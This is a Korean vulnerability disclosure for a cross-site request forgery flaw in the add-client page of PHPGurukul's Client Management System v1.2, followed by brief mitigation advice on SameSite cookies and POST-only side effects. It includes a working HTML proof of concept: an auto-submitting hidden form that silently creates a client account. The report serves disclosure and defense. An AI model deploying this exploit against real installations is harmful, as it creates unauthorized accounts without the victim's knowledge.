
PHP 기반 클라이언트 관리 시스템에서 CSRF 취약점을 시연하는 개념 증명으로, HTML 익스플로잇 코드와 웹 애플리케이션 보안 테스트를 위한 완화 전략을 포함합니다.
프로젝트 이름 및 저장소 URL : https://phpgurukul.com/client-management-system-using-php-mysql/
취약점 이름 : Cross-Site Request Forgery(CSRF)
영향을 받는 버전 : V1.2
PHPGurukul에서 개발한 클라이언트 관리 시스템의 클라이언트 추가 기능에 CSRF(Cross-Site Request Forgery) 취약점이 존재합니다. CSRF는 인증된 사용자가 웹 애플리케이션에 악의적인 요청을 제출하도록 속이는 공격입니다. 이로 인해 사용자 모르게 권한 없는 작업이 수행될 수 있습니다. 이 보고서에서는 CSRF를 사용하여 클라이언트 관리 시스템에 가짜 사용자를 생성하는 방법을 시연하고 완화 전략을 제안합니다.
제공된 자격 증명을 사용하여 클라이언트 관리 시스템에 로그인합니다.



다음은 CSRF 공격을 위한 HTML PoC입니다:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



CSRF 공격을 방지하려면 다음 조치를 구현하십시오:
SameSite=Strict 또는 SameSite=Lax 속성을 설정합니다.POST를 사용하고 GET 요청으로 부작용이 발생하지 않도록 합니다.이 보고서는 CSRF 취약점을 악용하여 클라이언트 관리 시스템에서 승인되지 않은 클라이언트를 생성할 수 있는 방법을 보여줍니다. 제안된 완화 전략을 구현하면 애플리케이션을 이러한 공격으로부터 보호하는 데 도움이 됩니다.